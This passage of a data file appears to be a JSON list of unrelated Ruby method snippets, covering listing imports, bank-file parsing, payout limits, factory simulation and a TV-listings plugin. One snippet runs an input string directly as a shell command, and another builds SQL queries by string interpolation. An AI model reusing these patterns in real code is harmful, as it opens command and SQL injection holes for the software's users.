precio_PTC=precio_E_ESCO(inv_total_PTC,aporte_PTC,mant_PTC*area2.to_f,tir_esperada,anos_evaluacion)\n precios[\"PTC\"].push precio_PTC \n \n \n ahorro_UFPC=precio_UFPC/precio_kwh-1<0?-(precio_UFPC/precio_kwh-1)*100:0\n ahorro_FPC=precio_FPC/precio_kwh-1<0?-(precio_FPC/precio_kwh-1)*100:0\n ahorro_ETC=precio_ETC/precio_kwh-1<0?-(precio_ETC/precio_kwh-1)*100:0\n ahorro_PTC=precio_PTC/precio_kwh-1<0?-(precio_PTC/precio_kwh-1)*100:0\n #aux=[ahorro_UFPC,ahorro_FPC,ahorro_ETC,ahorro_PTC]\n ahorros_x={:x=>area,:UFPC=>ahorro_UFPC,:FPC=>ahorro_FPC,:ETC=>ahorro_ETC,:PTC=>ahorro_PTC}\n fracciones_x={:x=>area,:UFPC=>fs_UFPC*100,:FPC=>fs_FPC*100,:ETC=>fs_ETC*100,:PTC=>fs_PTC*100}\n ahorros.push ahorros_x\n fracciones.push fracciones_x\n end\n \n respond_to do |format|\n format.html { render json: {ahorros:ahorros,fracciones:fracciones} }\n end\n end",
"def harga(buah) # Dapat dilihat bahwa harga sebuah method dan buah sebagai parameter sebuah template pada variabel\n puts \"Mas buah #{buah} ini dijual?\"\nend",
"def riempi_stringa(str, lunghezza)\n raise ArgumentError, \"Il primo argomento deve essere una stringa\" unless str.is_a? String\n raise ArgumentError, \"Il secondo argomento deve essere un intero\" unless lunghezza.is_a? Integer\n\n l = str.size\n nsb = lunghezza-l # numero di spazi bianchi da aggiungere\n \n \n return str if nsb == 0\n \n par = str.chomp.split \" \"\n \n i = 1\n while nsb > 0\n # post poni uno spazio bianco alla fine di ogni parola\n par[i].insert(0, \" \")\n i += 1\n nsb -= 1\n end\n \n nuova_linea = par.join \" \"\n l = nuova_linea.size\n \n # se le parole nella linea sono meno degli spazi bianchi, \n # aggiungo spazi bianchi dopo l'ultima parola \n nsb = lunghezza-l # numero di spazi bianchi da aggiungere\n nuova_linea << \" \"*nsb\n \n l = nuova_linea.size\n begin\n msg = \"La lunghezza della linea #{nuova_linea.inspect} di #{l} non e` compatibile con #{lunghezza}\"\n raise RuntimeError, msg unless l == lunghezza\n rescue\n binding.pry\n end\n nuova_linea << \"\\n\" # la linea deve andare accapo\n return nuova_linea\nend",
"def SAC02=(arg)",
"def make_substs(str)\r\n t = str\r\n t = dosub(t, ':client-name:', @data[:client_name])\r\n t = dosub(t, ':client-email:', @data[:client_email])\r\n t = dosub(t, ':client-phone:', @data[:client_phone])\r\n t = dosub(t, ':aref:', @data[:aref]) if @data[:aref]\r\n t = dosub(t, ':propid:', @data[:propid]) if @data[:propid]\r\n t = dosub(t, ':price:', @data[:price]) if @data[:price]\r\n t = dosub(t, ':cagent-firstname:', @data[:cagent].firstname)\r\n t = dosub(t, ':magent-firstname:', @data[:magent].firstname)\r\n t = dosub(t, ':advertiser-email:', @data[:advertiser_email]) if @e.privad\r\n t = dosub(t, ':advertiser-name:', @data[:advertiser_name]) if @e.privad\r\n t = dosub(t, ':agent-firstname:', @data[:agent].firstname) if @data[:agent]\r\n t = dosub(t, ':reglink:', @data[:reglink]) if @data[:reglink]\r\n t = dosub(t, ':enqdata:', @data[:enqdata]) if @data[:enqdata]\r\n t = dosub(t, ':deptreg:', @data[:region]) if @data[:region]\r\n t = dosub(t, ':fffp:', \"1st-for-French-Property.co.uk\") \r\n t = dosub(t, ':hkf:', \"Howard Farmer\")\r\n t = dosub(t, ':louisa:', \"Louisa Allen\")\r\n \r\n t\r\n end",
"def import_bien b\n\n # Good location\n good_address = {}\n loc = BienEmplacement.new\n\tloc.pays = \"France\"\n\tloc.code_postal = b[\"bien_cp\"]\n\tloc.ville = b[\"bien_ville\"]\n\n\tref = b[\"bien_ref\"]\n\treturn if ref.nil? or ref.empty?\n\t\n\ttransaction_type = BienTransaction.where(:nom => TRANSACTION_MATCHING[b['type_transaction'].to_i]).first\n\treturn if transaction_type.nil?\n\t\n\tcat = BienType.find_or_create CODE_MATCHING[b[\"type_bien\"].to_i]\n \n\tnb = Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\n nb = Bien.new if nb.nil?\n\t\n\tdesc = b[\"bien_descriptif_fr\"]\n\tnb.is_accueil = false\n\t# nb.is_accueil = true if b[\"TEXTE_MAILING\"] && (b[\"TEXTE_MAILING\"].to_s.downcase =~ /.*virtual.*touch.*/)\n\n nb.passerelle = @passerelle\n nb.reference = ref\n nb.bien_type = cat\n nb.bien_transaction = transaction_type\n nb.bien_emplacement = loc\n nb.nb_piece = b[\"bien_nb_pieces\"]\n nb.surface = b[\"bien_surf_habitable\"]\n nb.nb_chambre = b[\"bien_nb_chambres\"]\n nb.surface_terrain = b[\"bien_surf_terrain\"]\n nb.titre = CODE_MATCHING[b[\"type_bien\"].to_i]\n nb.prix = b[\"bien_prix\"] if (b[\"bien_prix_affiche\"].to_i != 0)\n nb.description = desc\n\t\n\tnb.statut = 'new'\n nb.save!\n\t\n\tnb.valeur_dpe = b[\"bien_conso_energie\"]\n\tnb.valeur_ges = b[\"bien_emission_ges\"]\n # nb.classe_dpe = b['bilan_energie']\n # nb.class_ges = b['bilan_ges']\n\t\t\n\t# If new images : Drop old images, add current images\n if b[\"photos\"] && b[\"photos\"][\"photo\"]\n # un-attach old\n\t nb.bien_photos.each{ |photo|\n\t\t photo.bien = nil\n\t\t photo.save!\n\t }\n pl = b[\"photos\"][\"photo\"]\n \n # When there only exists a single image, +pl+ will directly be the hash\n pl = [pl] unless pl.kind_of? Array\n # Map photo-hashes to medias, filter out failures, and add medias to good\n\t number = 0\n\t counter = 0\n pl.map { |p| import_local_media(p.to_s,(counter+=1),nb,p.to_s) }\n end\n\t\n nb.save!\n\n return\n\tend",
"def sosti(attuale, nuovo, pippo)\n=begin rdoc\nEsegue l'update di una serie di record, sostituendo in ciascuno di essi, per un campo predefinito,\nche al momento è l'attribute c14_idaliquotaiva della tabella, anch'essa predefinita (lbooks),\nil valore che i record contengono (vecchio), con un diverso valore (nuovo).\nLa procedura avviene in due fasi: nella prima vengono estratti i record che contengono il valore\nnuovo nel campo predefinito. nella seonda viene applicato al risultato il metodo update_all\nScrive alcune informazioni sul log, che è rappresentato dalla variabile pippo\n=end\n commento1 = \"Esegue la sostituzione del campo c14_idaliquotaiva in lbooks \"\n commento2 = \"per tutti i record contenenti il valore #{attuale} con il valore #{nuovo}.\" \n puts commento1\n puts commento2\n pippo.scriviRiga(commento1)\n pippo.scriviRiga(commento2)\n \n #\n rDaToccare = Lbook.where( c14_idaliquotaiva: attuale)\n quanti = rDaToccare.size\n if quanti > 0\n quante = rDaToccare.update_all( c14_idaliquotaiva: nuovo)\n riga = \"n.ro sostituzioni da #{attuale} a #{nuovo} eseguite: #{quante} su #{quanti}\"\n puts riga\n pippo.scriviRiga(riga)\n else \n riga = \"nessun record presente con c14_idaliquotaiva = #{attuale}\" \n puts riga \n pippo.scriviRiga(riga)\n end #if quanti > 0 \nend",
"def avanzar_unidad_apoyo_consultoria(usuario,unidad)\n unless self.Estatus.const_id == 'ST0004'\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.estatus_no_adecuado'))\n else\n if unidad == 1\n validacion = SolicitudRecaudo.validar_consultoria(self.id)\n unless validacion\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.analisis_debe_ser_copletado'))\n return\n end\n self.consultoria = true\n mensaje = I18n.t('Sistema.Body.Modelos.Solicitud.Errores.analisis_legal_solicitud')\n elsif unidad == 2\n validacion = SolicitudAvaluo.validar_avaluo(self.id)\n unless validacion == true\n self.errors.add(:solicitud, validacion)\n return\n end\n self.avaluo = true\n mensaje = I18n.t('Sistema.Body.Modelos.Solicitud.Errores.revision_inspeccion_avaluos')\n elsif unidad == 3\n validacion = SolicitudResguardo.validar_resguardo(self.id)\n unless validacion == true\n self.errors.add(:solicitud, validacion)\n return\n end\n self.resguardo = true\n mensaje = I18n.t('Sistema.Body.Modelos.Solicitud.Errores.revision_resguardo_institucional')\n end\n self.save\n ControlSolicitud.create_new(self.id, self.estatus_id, usuario, I18n.t('Sistema.Body.General.avanzar'), self.estatus_id, mensaje)\n if self.resguardo == true && self.avaluo == true && self.consultoria == true\n estatus_origen_id = self.estatus_id\n configuracion_avance = ConfiguracionAvance.find_by_estatus_origen_id(self.estatus_id)\n self.estatus_id = configuracion_avance.estatus_destino_id\n self.fecha_actual_estatus = Time.now.strftime(\"%Y/%m/%d\")\n self.save\n ControlSolicitud.create_new(self.id, self.estatus_id, usuario, I18n.('Sistema.Body.General.avanzar'), estatus_origen_id, '')\n end\n end\n end",
"def nacti_data(data, pomer)\n poc_nactenych_klauzuli = 0 \n pole_radku = data.split(\"\\n\")\n \n pole_radku.each do |radek|\n if(radek[0]!=\"c\")then #preskakuji komentar\n pole_hodnot = radek.split(' ') # ulozim si hodnoty do pole\n \n case radek[0]\n \n when \"p\"\n #nacteni zakladniho nastaveni instance\n @pocet_promennych = pole_hodnot[2].to_i\n @pocet_klauzuli = pole_hodnot[3].to_i\n # pokud je nastaven pomer (tj. obtiznost instance)\n if((pomer!=-1)&&(@pocet_klauzuli>=@pocet_promennych.to_f*pomer))then\n @pocet_klauzuli = @pocet_promennych.to_f*pomer\n end\n \n when \"w\"\n #nacitani vahoveho vektoru\n citac = 1\n while(citac < pole_hodnot.length)do\n @pole_vah[citac-1] = pole_hodnot[citac].to_i\n citac +=1\n end\n\n # when \"%\" # pouze pro kontrolu\n #ukoncovaci znak\n # puts \"%\" \n \n else\n #nacitani klauzuli\n if(poc_nactenych_klauzuli<@pocet_klauzuli)then\n citac = 0\n while(citac < pole_hodnot.length-1)do\n if(@klauzule[poc_nactenych_klauzuli]==nil)then\n nove_pole = []\n @klauzule[poc_nactenych_klauzuli]= nove_pole\n end\n @klauzule[poc_nactenych_klauzuli][@klauzule[poc_nactenych_klauzuli].length] = pole_hodnot[citac].to_i\n citac +=1\n end\n poc_nactenych_klauzuli+=1\n end \n end\n end\n end \n end",
"def secuenciasugerida \n #recupera los hijos del padre de la cuenta a crear \n\t\thijos = Catalogo.where(\"padre_id = ? AND activo = ?\", idcuenta, true)\n\n #configuracion del nivel a crear\n\t\tidnivel = Catalogo.find_by(id: idcuenta).nivel_id\n\t\tnivelh = Nivel.find_by(id: idnivel).numnivel + 1\n\n nivel = Nivel.find_by(numnivel: nivelh)\n nrodigitos = nivel.nrodigitos\n nrodigitostotal = nivel.nrodigitostotal\n digito = 0\n aux = 0\n\n hijos.each do |e|\n \taux = e.codigo.last(nrodigitos).to_i\n \t\tif digito < aux\n\t\t\t\tdigito = aux\n \t\tend\n \tend\n \tdigito = digito + 1\n \tc =\"\"\n \tnrodigitos.times { c = c + \"0\" }\n \tc = c.to_s + digito.to_s \t\n \t\t\n #codigo sugerido\n \treturn c.last(nrodigitos).to_s\n\tend",
"def parse_transaction(string)\n {\n # identificação do registro transação\n :tipo_registro => string[0..0].to_i,\n # identificação do tipo de inscrição/empresa\n :codigo_inscricao => string[1..2],\n # número de inscrição da empresa (cpf/cnpj)\n :numero_inscricao => string[3..16],\n # agência mantenedora da conta\n :agencia => string[17..20],\n # complemento de registro\n :zeros => string[21..22],\n # número da conta corrente da empresa\n :conta => string[23..27],\n # dígito de auto-conferência ag/conta empresa\n :dac => string[28..28],\n # complemento de registro\n #:brancos1 => string[29..36],\n # identificação do título na empresa\n :uso_da_empresa => string[37..61],\n # identificação do título no banco\n :nosso_numero1 => string[62..69],\n # complemento de registro\n #:brancos2 => string[70..81],\n # número da carteira\n :carteira1 => string[82..84],\n # identificação do título no banco\n :nosso_numero2 => string[85..92],\n # dac do nosso número\n :dac_nosso_numero => string[93..93],\n # complemento de registro\n #:brancos3 => string[94..106],\n # código da carteira\n :carteira2 => string[107..107],\n # identificação da ocorrência\n :codigo_ocorrencia => string[108..109],\n # data de de ocorrência no banco\n :data_ocorrencia => convert_date(string[110..115]),\n # número do documento de cobrança (dupl, np etc)\n :numero_documento => string[116..125],\n # confirmação do número do título no banco\n :nosso_numero3 => string[126..133],\n # complemento de registro\n #:brancos4 => string[134..145],\n # data de vencimento do título\n :vencimento => convert_date(string[146..151]),\n # valor nominal do título\n :valor_titulo => string[152..164].to_f / 100,\n # número do banco na câmara de compensação\n :codigo_banco => string[165..167],\n # ag. cobradora, ag. de liquidação ou baixa\n :agencia_cobradora => string[168..171],\n # dac da agência cobradora\n :dac_agencia_cobradora => string[172..172],\n # espécie do título\n :especie => string[173..174],\n # valor da despesa de cobrança\n :tarifa_cobranca => string[175..187].to_f / 100,\n # complemento de registro\n #:brancos5 => string[188..213],\n # valor do iof a ser recolhido (notas seguro)\n :valor_iof => string[214..226].to_f / 100,\n # valor do abatimento concedido\n :valor_abatimento => string[227..239].to_f / 100,\n # valor do desconto concedido\n :descontos => string[240..252].to_f / 100,\n # valor lançado em conta corrente\n :valor_principal => string[253..265].to_f / 100,\n # valor de mora e multa pagos pelo sacado\n :juros_mora_multa => string[266..278].to_f / 100,\n # valor de outros créditos\n :outros_creditos => string[279..291].to_f / 100,\n # complemento de registro\n #:brancos6 => string[292..294],\n # data de crédito desta liquidação\n :data_credito => convert_date(string[295..300]),\n # código da instrução cancelada\n :instrucao_cancelada => string[301..304],\n # complemento de registro\n #:brancos7 => string[305..323],\n # nome do sacado\n :nome_sacado => string[324..353],\n # complemento de registro\n #:brancos8 => string[354..376],\n # registros rejeitados ou alegação do sacado\n :erros => string[377..384],\n # complemento de registro\n #:brancos9 => string[385..391],\n # meio pelo qual o título foi liquidado\n :codigo_liquidacao => string[392..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399].to_i\n }\n end",
"def retourAvant()#TOTEST\n if(@indiceCoup < tabCoup.size) #vérification normalement inutile puisque le bouton devrait être disable\n #On annule en passant au coup suivant\n coupSuivant = tabCoup.at(@indiceCoup)\n @grilleEnCours.tabCases[coupSuivant.case.positionY][coupSuivant.case.positionX].couleur = coupSuivant.couleur\n @grilleRaz = nil\n\n @indiceCoup += 1 #On passe au coup suivant\n\n socket = Fenetre1v1.getSocket\n if(socket != nil)\n socket.puts (\"av\" + @grilleEnCours.getPourcentage(@grilleBase, nil).to_s )\n end\n end\n\n return [peutRetourAvant?, coupSuivant.case] #Pour dire aux fonctions appelantes si on peut encore aller en avant\n end",
"def SAC01=(arg)",
"def solicitudes_atrasadas\n end",
"def import_bien b\r\n\t\t# Good location\r\n\t\tgood_address = {}\r\n\t\tloc \t\t\t= BienEmplacement.new\r\n\t\tloc.pays \t\t= \"France\"\r\n\t\tloc.code_postal = b[4]\t\r\n\t\tloc.ville \t\t= b[5]\r\n\r\n\t\tprice \t\t\t= b[10].to_i\r\n\r\n\t\ttransaction_type = BienTransaction.where(:nom => b[2].up_first).first\r\n\r\n\t\tref \t\t\t= b[1].to_s.downcase\r\n\r\n\t\tnb \t\t\t\t= Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\r\n\t\tnb \t\t\t\t= Bien.new if nb.nil?\r\n\r\n\t\tcat \t\t\t= BienType.find_or_create b[3].up_first\r\n\t\tdesc \t\t\t= b[20]\r\n\r\n\t\tnb.is_accueil \t= false\r\n\t\tnb.passerelle \t= @passerelle\r\n\t\tnb.reference \t= ref\r\n\t\tnb.bien_type \t= cat\r\n\t\tnb.bien_transaction = transaction_type\r\n\t\tnb.bien_emplacement = loc\r\n\t\tnb.nb_piece \t= b[17]\r\n\t\tnb.nb_chambre \t= b[18]\r\n\t\tnb.surface \t\t= b[15]\r\n\t\tnb.titre \t\t= b[19]\r\n\t\tnb.prix \t\t= price\r\n\t\tnb.description \t= desc\r\n\r\n\t\tnb.valeur_dpe \t= b[175]\r\n\t\tnb.classe_dpe \t= b[176]\r\n\t\tnb.valeur_ges \t= b[177]\r\n\t\tnb.class_ges \t= b[178]\r\n\r\n\t\tnb.statut \t\t= 'new'\r\n\t\tnb.save!\r\n\r\n\t\t# Poliris pictures url/names are stored from entry 85 to 93 (1 based) - picture names are stored from 94 ot 102\r\n\t\tp_indexes = []\r\n\t\t9.times{ |i| \r\n\t\t\tp_indexes.push (84+i) if (b[84+i].kind_of? String) && !b[84+i].empty?\r\n\t\t}\r\n\t\tif !p_indexes.empty?\r\n\t\t # un-attach old\r\n\t\t nb.bien_photos.each{ |photo|\r\n\t\t\t photo.bien = nil\r\n\t\t\t photo.save!\r\n\t\t }\r\n\r\n\t\t\tnumber = 0\r\n\t\t\tp_indexes.map{ |p| import_local_media(b[p].to_s,(number+=1),nb,b[p+9].to_s) }\r\n\r\n\t\t\tnb.save!\r\n\t\tend\r\n\r\n\t\treturn\r\n\tend",
"def prosby_o_subskrypcje\n\tsubskrypcje=[]\n\twhile(!@prosba_subskrypcja.empty?)\n\t\tsub=@prosba_subskrypcja.pop(true) rescue nil\n\t\tbreak if sub.nil?\n\t\tsubskrypcje << sub\n\t\tyield sub if block_given?\n\tend\n\tsubskrypcje\n end",
"def insertSubpopUc(conn,id)\n\tputs \" insert subpopulacao_uc\"\n\tt_init = Time.new\n gid_subpop = []\n conn.exec(\"select gid from geo.subpopulacoes where id = #{id};\").each do |row|\n gid_subpop.push(row['gid'])\n end\n for x in (0..gid_subpop.count-1)\n #puts \"subpopulacao #{x+1} de #{gid_subpop.count}\"\n conn.exec(\"select gid from geo.ucs where st_intersects(geom, (select geom from geo.subpopulacoes where gid = #{gid_subpop[x]})) and (geom && (select geom from geo.subpopulacoes where gid = #{gid_subpop[x]}))\").each do |row|\n\t\t\tif (row['gid']) then\n\t\t\t\tconn.exec(\"insert into geo.subpopulacao_uc(gid_subpop, gid_uc) values (#{gid_subpop[x]}, #{row['gid']})\")\n\n\t\t\tend\n end\n end\n\tt = (Time.new - t_init)\n\tconn.exec(\"update geo.tempos set t_subpop_uc = #{t} where id = #{id}\")\nend",
"def excede_control_de_pago_global()\n @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global = 0 # inicializacionn de variable sumatoria en cero ok\n #La idea aqui es verificar si la sumatoria de posible pago de todas las jugadas de todos los tipos de tickets activos de hoy no excede el limite globar de riesgo del sistema ok\n \n #limite GLOBAL = 1 ADMINISTRATIVO OK Y TIPOJUGADA TAMBIEN MANUAL = GLOBAL OK TED. POPULATE IT IN DATABASE PRODUCTION OK:\n control_monto_max_pago_global = Controldepagogt.where(:tipojugada => \"global\" ).first.limiteglobal.to_i || 1 # setear un valor default ok \n\n t_ids = Ticket.today.where(:activo => \"si\").ids # todos los ticket actio de hoy con ese parlay ok\n \n @listado_sumatoria_posible_pago = Jugadalot.where(:ticket_id => t_ids)# postrges casting erro string ok .sum(:posiblepago).to_i\n \n if not @listado_sumatoria_posible_pago.nil?\n @listado_sumatoria_posible_pago.each do |jugada|\n @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global += jugada.posiblepago.to_i\n end\n \n end\n \n \n #Sumar posible pago de esas jugadas de cada ticket parlay ok.\n# @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global = 0\n# t.each do |ticket|\n# @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global += Jugadalot.where(:ticket_id => ticket.id).last.posiblepago.to_i\n# end\n\n if @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global.to_i <= control_monto_max_pago_global.to_i\n # si es menor todo ok\n false # no excede\n else\n true #si excede \n end\n\n\n end",
"def import_bien b\n\t\t# Good location\n\t\tgood_address = {}\n\t\tloc \t\t\t= BienEmplacement.new\n\t\tloc.pays \t\t= \"France\"\n\t\tloc.code_postal = b['CodPos']\n\t\tloc.ville \t\t= b['Ville']\n\n\t\t# Category & Transaction type\n\t\tcat = BienType.find_or_create b['Nature'].up_first\n\n\t\ttransaction_type = BienTransaction.where(:nom => b['Transaction'].up_first).first\n\t\treturn if transaction_type.nil?\n\n\t\t# find if good already exist, unless create it\n\t\tref = b['RefAnnonce'] \n\t\tnb = Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\n\t\tnb = Bien.new if nb.nil?\n\n\t\tnb.is_accueil \t\t\t= false\n\t\t#nb.is_accueil = true if b[\"TEXTE_MAILING\"] && (b[\"TEXTE_MAILING\"].to_s.downcase =~ /.*virtual.*touch.*/)\n\n\t\t# update attributes\n\t\tnb.passerelle \t\t\t= @passerelle\n\t\tnb.reference \t\t\t= ref\n\t\tnb.bien_type \t\t\t= cat\n\t\tnb.bien_transaction\t \t= transaction_type\n\t\tnb.bien_emplacement \t= loc\n\n\t\t#nb.nb_piece \t\t\t= b['NbPieces'].to_i\n\t\tnb.nb_chambre \t\t\t= b['NbChambres'].to_i\n\t\tnb.surface\t\t\t\t= b['SurfHab'].to_i\n\t\tnb.surface_terrain \t\t= b['SurfTerr'].to_i\n\t\tnb.titre\t\t\t\t= b['TitreAnnonce']\n\t\tif(nb.titre.nil? || nb.titre.empty?)\n\t\t\tnb.titre = b['TypeBien'].up_first\n\t\tend\n\n\t\tif((transaction_type.nom == \"Location\") && b['Charges'] && (b['Charges'].to_i > 0))\n\t\t\tnb.prix_hors_charges \t\t= b['PrixFAI']\n\t\t\tnb.prix_charges_comprises \t= b['PrixFAI'].to_i + b['Charges'].to_i\n\t\telse\n\t\t\tnb.prix_charges_comprises \t= b['PrixFAI']\n\t\tend\n\t\tnb.prix \t\t\t\t= nb.prix_charges_comprises\n\t\tnb.honoraires_agence \t= b['FraisAg']\n\t\t\n\t\tnb.description \t\t\t= b['Descriptif']\n\t\tnb.valeur_dpe \t\t\t= b['DPE']\n\t\tnb.classe_dpe \t\t\t= nb.classe_energie\n\t\t#nb.valeur_ges \t\t\t= b['GES']\n\t\t#nb.class_ges \t\t\t= nb.classe_ges\n\t\t\n\t\tnb.statut = 'new'\n\t\tnb.save!\n\n\t\t# If new images : Drop old images, add current images\n\t\tif b['Photos'] && b['Photos']['Photo']\n\t\t\t# un-attach old\n\t\t\tnb.bien_photos.each{ |photo|\n\t\t\t\tphoto.bien = nil\n\t\t\t\tphoto.save!\n\t\t\t}\n\t\t\tpl = b['Photos']['Photo']\n\n\t\t\t# When there only exists a single image, +pl+ will directly be the hash\n\t\t\tpl = [pl] unless pl.kind_of? Array\n\t\t\t# Map photo-hashes to medias, filter out failures, and add medias to good\n\t\t\tnumber = 0\n\t\t\tpl.map { |p| import_local_media(p.to_s, (number+=1), nb, p.to_s) }\n\t\tend\n\t\t\n\t\tnb.save!\n\t\treturn\n\n\tend",
"def producir(almacen)\n \n #Si la maquina esta inactiva, se intenta traer los insumos que requiere\n #del almacen. Si obtiene lo que desea, pasa al estado de llena.\n if (@estado == \"inactiva\")\n for i in (0..insumos.size-1)\n c = (@porcentaje[i]*@cant_max - @cantidadInsumos[i])\n if (c!=0)\n r = almacen.traer_insumo(@insumos[i],c)\n @cantidadInsumos[i] += r\n end\n end\n #Revisa si se lleno la maquina\n total = 0\n for i in (0..insumos.size-1)\n total += @cantidadInsumos[i]\n end\n if (total == @cant_max)\n @estado = \"llena\"\n end\n \n #Si la maquina esta llena, se pasa al estado de procesando.\n elsif (@estado == \"llena\")\n @estado = \"procesando\"\n\n #Si la maquina esta procesando, se mantiene en este estado hasta que sus\n #ciclos de iteracion hayan finalizado.\n elsif (@estado == \"procesando\")\n if (@ciclos == @ciclos_realizados)\n @estado = \"en espera\"\n else\n @ciclos -= 1\n end\n\n #Si la maquina esta en espera, es decir, termino de procesar, deposita\n #lo fabricado en el almacen y cambia a estado de inactiva solo si en el\n #almacen ya se ha consumido lo que produjo.\n elsif (@estado == \"en espera\")\n \n total=0\n #ciclo para reiniciar mis insumos en 0 y contabilizar.\n for i in (0..insumos.size-1)\n\t total+=@cantidadInsumos[i]\n @cantidadInsumos[i] = 0\n end\n #Depositare\n #Obtengo mi insumo creado\n n=mapear(@nombre)\n almacen.sumar_insumo(n,total*(1-@desecho))\n\n\n #Si ya no hay insumos de la maquina, pasa a inactiva\n #En caso \n t = almacen.obtener_insumo(n)\n if (t == 0 || n == \"cerveza\")\n @estado = \"inactiva\"\n @ciclos_realizados = 0 \n end \n end\n end",
"def import_bien b\n\n\t\t# Good location\n\t\tgood_address = {}\n\t\tloc \t\t\t\t\t= BienEmplacement.new\n\t\tloc.pays \t\t\t\t= \"France\"\n\t\tloc.code_postal \t\t= b['cp']\n\t\tloc.ville \t\t\t\t= b['lieu']\n\n\t\t# Category & Transaction type\n\t\tcat = BienType.find_or_create b['categoriebien'].up_first\n\n\t\ttransaction_type = BienTransaction.where(:nom => b['etat'].up_first).first\n\t\treturn if transaction_type.nil?\n\n\t\t# find if good already exist, unless create it\n\t\tref = b['reference'] \n\t\tnb = Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\n\t\tnb = Bien.new if nb.nil?\n\n\t\tnb.is_accueil \t\t\t= false\n\t\t#nb.is_accueil = true if b[\"TEXTE_MAILING\"] && (b[\"TEXTE_MAILING\"].to_s.downcase =~ /.*virtual.*touch.*/)\n\n\t\t# update attributes\n\t\tnb.passerelle \t\t\t= @passerelle\n\t\tnb.reference \t\t\t= ref\n\t\tnb.bien_type \t\t\t= cat\n\t\tnb.bien_transaction \t= transaction_type\n\t\tnb.bien_emplacement \t= loc\n\n\t\tnb.nb_piece \t\t\t= b['piece'].to_i\n\t\tnb.surface \t\t\t\t= b['surface'].to_i\n\t\tnb.titre \t\t\t\t= b['libelle'].up_first\n\n\t\tif(b['charge'] && (b['charge'].to_i > 0))\n\t\t\tnb.prix_hors_charges \t\t= b['prixouloyer']\n\t\t\tnb.prix_charges_comprises \t= b['prixouloyer'].to_i + b['charge'].to_i\n\t\telse\n\t\t\tnb.prix_charges_comprises \t= b['prixouloyer']\n\t\tend\n\t\tnb.prix\t\t\t\t\t= nb.prix_charges_comprises\n\t\tnb.honoraires_agence \t= b['honoraire']\n\t\t\t\n\t\tnb.description \t\t\t= b['description']\n\t\tnb.valeur_dpe \t\t\t= b['energie']\n\t\tnb.classe_dpe \t\t\t= nb.classe_energie\n\t\tnb.statut \t\t\t\t= 'new'\n\t\tnb.save!\n\n\t\t# If new images : Drop old images, add current images\n\t\tif b['photos'] && b['photos']['photo']\n\t\t\t# un-attach old\n\t\t\tnb.bien_photos.each{ |photo|\n\t\t\t\tphoto.bien = nil\n\t\t\t\tphoto.save!\n\t\t\t}\n\n\t\t\tpl = b['photos']['photo']\n\t\t\tpl = [pl] unless pl.kind_of? Array\n\n\t\t\tnumber = 0\n\t\t\tpl.each{ |urlPhoto|\n\t\t\t\tLogger.send(\"warn\", \"calling import_remote_media(#{urlPhoto}, #{(number+=1)}, nb)\")\n\t\t\t\timport_remote_media(urlPhoto, (number+=1), nb)\n\t\t\t}\n\t\tend\n\n\t\tnb.save!\n\n\t\treturn true\n\tend",
"def lsi; end",
"def esecuzione_comando stato\n comando = stato[:comando].to_s.gsub /\\t/, ''\n #risultato = stato[:comando].to_s\n #esito = 0\n risultato = `#{stato[:comando].to_s}`\n esito = `echo $?`\n {:risultato => risultato, :esito => esito}\nend",
"def abendprogramm\ndoc = tvprogrammabend(doc)\ndob = tvprogrammsatabend(dob)\n if doc == NIL or doc == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n elsif dob == NIL or dob == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n else\n doc.encoding = 'utf-8'\n dob.encoding = 'utf-8'\n docs = doc.xpath('//title')\n dobs = dob.xpath('//title')\n i = 1\n while i < docs.length\n dos = docs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n if doss == \"ARD: \"\n dos = dosund(dos)\n orf1 = dos\n elsif doss == \"ZDF: \"\n dos = dosund(dos)\n orf2 = dos\n elsif doss == \"SAT.1\"\n dos = dosund(dos)\n orf3 = dos\n elsif doss == \"RTL: \"\n dos = dosund(dos)\n atv = dos\n elsif doss == \"PRO7:\"\n dos = dosund(dos)\n orfs = dos\n elsif doss == \"RTL2:\"\n dos = dosund(dos)\n puls4 = dos\n elsif doss == \"KABEL\"\n dos = dosund(dos)\n servus = dos\n else\n end\n i += 1\n end\n i = 1\n while i < dobs.length\n dos = dobs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n \n if doss == \"3SAT:\"\n dos = dosund(dos)\n sat = dos\n else\n end\n i += 1\n end\n say \"\", spoken: \"Programm für 20 Uhr 15\"\n object = SiriAddViews.new\n object.make_root(last_ref_id)\n answer = SiriAnswer.new(\"TV Programm - 20:15\", [\n SiriAnswerLine.new(orf1),\n SiriAnswerLine.new(orf2),\n SiriAnswerLine.new(orf3),\n SiriAnswerLine.new(atv),\n SiriAnswerLine.new(sat),\n SiriAnswerLine.new(puls4),\n SiriAnswerLine.new(servus),\n SiriAnswerLine.new(orfs)\n ])\n object.views << SiriAnswerSnippet.new([answer])\n send_object object\n end\n request_completed\nend",
"def slogan\n # 'A maneira mais fácil de pré-qualificar ao Atlas.'\n ''\n end",
"def processa_bc\n # puts(format(\"%<n>4i ATTESTATIONS INSERIDAS #{BD}.eth2at\", n: apibc.novtx.empty? ? 0 : dml(eth2at_ins)))\n # puts(format(\"%<n>4i PROPOSALS INSERIDAS #{BD}.eth2pr\", n: apibc.novkx.empty? ? 0 : dml(eth2pr_ins)))\n puts(format(\"%<n>4i BALANCES\\tETH2\\t\\tINSERIDOS eth2bh\", n: apibc.nov.empty? ? 0 : dml(eth2bh_ins)))\n end",
"def SS2_7 args\r\n\r\nend",
